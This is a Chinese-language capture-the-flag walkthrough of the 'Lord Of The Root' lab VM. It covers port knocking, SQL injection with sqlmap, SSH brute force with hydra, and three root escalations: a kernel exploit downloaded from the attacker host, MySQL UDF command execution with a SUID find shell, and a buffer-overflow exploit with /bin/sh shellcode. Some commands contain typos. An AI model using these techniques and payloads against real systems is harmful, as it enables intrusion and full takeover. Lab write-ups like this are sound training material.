Load Of The Root参考

kali:192.168.174.137

信息收集

主机发现

nmap -sn 192.168.174.0/24

image-20240426141555420

获得目标地址:192.168.174.151

再次复盘时,不知道为什么nmap扫不到了,但用arp-sacn -l确找的得到,去搜了下区别又学到了一些扫描方法

for i in {1..254}; do ping -c 1 -w 0.1 192.168.174.$i|grep from; done

端口扫描

nmap -sS -A -n 192.168.174.151

  • -sS: 这个参数指定使用TCP SYN扫描(半开放扫描)
  • -A: 这个参数启用操作系统探测、版本探测、脚本扫描和traceroute等一系列高级扫描技术。使用”-A”参数相当于同时启用了”-O”(操作系统探测)、”-sV”(版本探测:识别目标主机上运行的服务和应用程序的版本信息。)和”–script”(脚本扫描)参数。这样可以提供更丰富的扫描结果和更全面的主机信息。
  • -n: 这个参数禁用DNS解析。如前面解释所述,禁用DNS解析可以加快扫描速度并避免由于DNS问题引起的延迟和失败。使用”-n”参数后,nmap将只显示IP地址而不提供主机名信息。

image-20240426143222105

发现只开放了一个22端口

尝试连接一下

目录扫描

只有一个22端口,暂时做不了目录扫描

ssh远程连接

连接22端口获得提示
knock ftiend to enter(敲门进入)
Easy as 1,2,3

image-20240426143540944

应该是在提示port_knocking(端口试探)的概要。
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。
根据上面提示,我们尝试连接顺序连接1,2,3端口

knock是一个用于发送端口序列以触发特定行为的工具。它的工作原理是发送一系列的网络请求(称为"击打")到指定的主机和端口组合上。通过按照指定的顺序发送这些请求,可以触发防火墙规则、端口转发或其他网络设备上的特定行为。

命令中的参数解释如下:

<主机>:目标主机的名称或IP地址。
<端口[:协议]>:指定要进行击打的端口和协议。可以指定一个或多个端口,以冒号分隔端口号和协议(TCP或UDP)。可以使用TCP或UDP协议,默认情况下使用TCP。
其他选项的解释如下:

-u, --udp:指定所有端口都使用UDP方式进行击打。
-d, --delay <t>:在每个端口之间设置等待时间,以毫秒为单位。
-4, --ipv4:强制使用IPv4地址。
-6, --ipv6:强制使用IPv6地址。
-v, --verbose:显示详细信息,提供更多的输出。
-V, --version:显示knock的版本信息。
-h, --help:显示帮助信息。
knock -v 192.168.16.137 1 2 3

image-20240426144003787

再次进行端口扫描

nmap -p-

image-20240426144405510

发现一个1337端口

这里看别的wp,发现了另一种写法

for port in $(seq 1 3 ) ; do nmap 192.168.0.4 -p $port;done
  • for port in $(seq 1 3):这是一个for循环语句,它将变量port设置为从1到3的序列。这意味着循环将执行三次,每次将port设置为1、2和3。

  • do nmap 192.168.0.4 -p $port &:在循环体中,执行nmap命令。192.168.0.4是目标主机的IP地址。-p $port指定要扫描的端口,变量$port将在每次循环时被替换为当前的端口值。&符号表示在后台运行nmap命令,以便并行执行多个扫描。

  • done:循环结束的标记。

访问端口服务

image-20240426144646234

只有一张图片,但提示了mordor,尝试访问一下这个目录

image-20240426144733009

又是只有一张图THE BLACK GATEIS TOO MAINSTREAM,查看源代码,发现一串加密的字符串

<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>-->

方cmd5去跑一下,查询结果是

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

左边的一串也类似加密的字符串,再跑一遍

/978345210/index.php

得到一个目录,尝试访问一下

image-20240426145119047

发现是一个登陆界面,直接用sqlmap试试,抓包,保存,-r

image-20240426162217794

发现不知道要跑多久,搜了下,换了个参数

sqlmap -r 1.txt -D Webapp --tables --threads=10 --batch

爆出来个User表

sqlmap -r 1.txt -D Webapp --dump -T Users --threads=10 --batch

image-20240426165336227

发现了用户名和密码,明文存取,试试登陆,每一个好像都是一样图片,试试用这些账号远程登陆试试,可以用hydra,先把这些账号密码分别保存到txt文件中

hydra -L username.txt -P password.txt ssh://192.168.174.151

image-20240426170701782

发现第二个账号是可以登陆的,用它登陆上去试试

提权

利用内核漏洞提取39166.c

uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

发现是ubuntu14.04,去找找有什么能够利用的漏洞,发现一个Ubuntu特权提升漏洞(CVE-2021-3493),去试试。操作不允许。。。看下wp用的是啥,在msf里找,带39166.c的

searchsploit Ubuntu 14.04

然后把他复制过来

searchsploit -m 39166.c

image-20240426222616464然后在复制的地方搭建个一句话服务器

python -m http.server 9966
wget http://192.168.174.137:9966/39166.c
#然后
gcc 39166.c -o 39166
./39166

image-20240426222841696

cd /root
cat Flat.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

image-20240426223158566

另一种方法:使用mysql提权

查看mysql 的版本

ps -aux | grep mysql
mysql --version

image-20240426224959010

查看mysql 数据库的root密码,这个可以去网站连接数据库的命令查看

image-20240426225137108

root:darkshadow

看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限

mysql -uroot -pdarkshadow

进入数据库后,看看secure_file_priv的配置

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权
show global variables like 'secure%';

image-20240426225755198

查看主机版本及数据库架构

show variables like '%compile%';

image-20240426225843760

因数据库为i6886,要使用32位udf文件

查看plugin目录地址,此处为上传udf文件地址

show variables like 'plugin%';

image-20240426225930605

/usr/lib/mysql/plugin/

可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件

cd /usr/share/metasploit-framework/data/exploits/mysql

image-20240426230405789

将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so

cp lib_mysqludf_sys_32.so /root

再搭一个一句话服务器9966端口,然后在靶机上下载

wget http://192.168.174.137:9966/lib_mysqludf_sys_32.so

然后连接数据库,进入一个库,我这里用的是mysql

创建一个表,用来存储udf文件内容

create table foo(line blog);

在MySQL中Blob是一个二进制的对象,Blob类型 最大能容纳65KB的

image-20240426232307745

将udf文件插入到temp表中

insert into foo(line) values (load_file('/home/smeagol/lib_mysqludf_sys_32.so'));

image-20240426232545078

在/usr/lib/mysql/plugin/目录下,新建一个udf32.so文件,将表中数据存入

select line from foo into dumpfile "/usr/lib/mysql/plugin";

image-20240426233332384

将udf32.so文件导入数据库,定义一个函数名称sys_eval

reate function sys_eval returns string soname 'udf32.so';

image-20240426233640781

使用sys_eval函数,执行linux命令

image-20240426233709376

提权成功,给find命令赋予普通用户使用可以暂时获取root用户使用权限

select sys_eval('chmod u+s /usr/bin/find');

image-20240426234038902

通过find命令的 exec参数,获取root的shell

find ./ 1.txt -exec '/bin/sh' \;

image-20240426234322595

法三缓冲区溢出提权.

ls -lahR
  • ls -a # 显示当前目录中的所有文件和目录,包括隐藏文件
  • ls -lh # 以人类可读的方式显示当前目录中的文件和目录大小
  • ls -R # 递归显示当前目录中的所有文件和子目录

学到一个批量看文件的命令

image-20240427224437242

这个文件是放在/SECRET/door3的file的文件,可以用

./file $(python -c 'print' "A"*200')

测试

image-20240427224801334

这里使用gdb工具进行调试

gdb -q ./file

既然在测试中200个字节就已经产生了溢出,那就先去生成一个不重复的两百的字节大小的字符串,这里用msf中的pattern_create.rb构造

locate pattern_
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
这两个脚本是专门用来作为缓冲区溢出查找偏移量的

然后把这个字符串作为参数,放到gdb里run一下

走到这里和攻略不一样了,先换一种方法

在之前查看文件的基础上,可以发现间隔了几分钟后,我们再次查看,发现文件大小发生了变化

image-20240427225956360

一开始door1的file是7.2,door2的file是5.1,现在door1的是5.1,door2的是7.1

时使用ldd命令查看file ldd(查看依赖情况)

image-20240427230232377

这个是因为存在一个防护机制ASLR,我们查看ASLR设置

cat /proc/sys/kernel/randomize_va_space

sysctl -a --pattern randomize

image-20240427230333280

返回2

0 = 关闭

1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)

2 = 全随机。除了1中所述,还有heap。

如果没有设置ASLR的话,ldd看到的值也都是固定的

注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大

绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来

现在的情况就是,缓冲区溢出的文件随机,空间也随机

对于溢出来说,有几个点:

  1. 首先,溢出的点在哪里(偏移量/溢出值)
  2. 溢出后,后面的空间有多大,放合适的恶意代码进去
  3. 绕过安全保护机制

首先我们找到那个5.1k的file,然后把他搞到kali里面

我这里直接base64编码复制出来

base64 file

image-20240427230658503

复制放到本地的一个文本中,并且复原成file,然后解密

cat 1.txt | base64 -d > file

image-20240427230953611

此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比

md5sum file

image-20240427231057051

可以发现是一样的,这里也使用GDB进行分析,博主推荐两个插件

pwndbg和peda

下面就是调试了

先授予权限并执行

chmod +x file 

image-20240427231812796

当把值加大后,回显段报错,用之前用的的方法生成个1000位值

./patern_create.rb -l 1000

image-20240427232203712

再使用GDB执行值

image-20240427233451400

image-20240427232335848

然后发现之前方法可以继续下去了,可能是环境没调好

这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置

0x41376641 in ?? ()

查看到错误点在41376641

分析错误点判断偏移量

./pattern_offset.rb -q 41376641

image-20240427232550038

得到偏移位置171

尝试在偏移量171溢出后情况

gdb$run $(python -c 'print("A" * 171 + "B" * 4)')
//我感觉明白前面不行是为什么了,我这里要加括号,python3print变成fun必须+括号

image-20240427233917963

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

Nop空间测试ESP

由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来

run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 2000)')

写入171个A之后,写入4个B,之后写入90

image-20240427234217740

我们成功的控制了eip中的内容,ESP就是我们溢出之后执行shellcode的地方

x/s $esp

image-20240428104020602

0xffffbf30这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell

这里做到后面做错了。。。不能在本机跑。。。,内存都不一样了。。。

那我们往eip填写的数据需要是‘0xbfd37c50:’,记得倒序

看wp,作者在/SECRET中执行的代码,这三次代码相同,但是每次esp地址却不同,甚至第三次他又没产生溢出漏洞,这就是我们上面讲的ASLR,他的地址在动态变化,防止我们制造出溢出漏洞,我想们需要饶过他

假设他每次地址都在随机变化,那我们只要指定一个地址填充到eip中,并不断执行构造溢出,那是不是他终究会出现随机到和我们指定的地址相同这种情况,时不时就会执行我们的shellcode

编写exp

#!/bin/python
import os

buf="A"*171

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
#for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
shell=buf+"\x40\xee\xff\xbf"+"C"*20000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
for i in range(1,500):
os.system('./file'+" "+shell)

由于esp地址前两位一直是bf所以我们前两位不变,剩下六位随便填,不要填\x00就行,他有特殊含义不能被正确识别

代码中被注释的是我从其他作者文章中复制过来的,可以直接在shell中执行

执行命令

#for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done

image-20240428163407372

终于成了。。。。

这里有个问题是,root目录下有个switcher.py文件,会让产生缓冲区溢出的文件发生变化

#!/usr/bin/python
import os
from random import randint

targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
os.system("rm "+t+"*")
os.system("cp -p other "+t)
os.system("cp -p "+t+"other "+t+"file")
os.system("rm "+t+"other")

luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")

有时候不行的话,可以回去看下存在溢出的文件有没有发生变化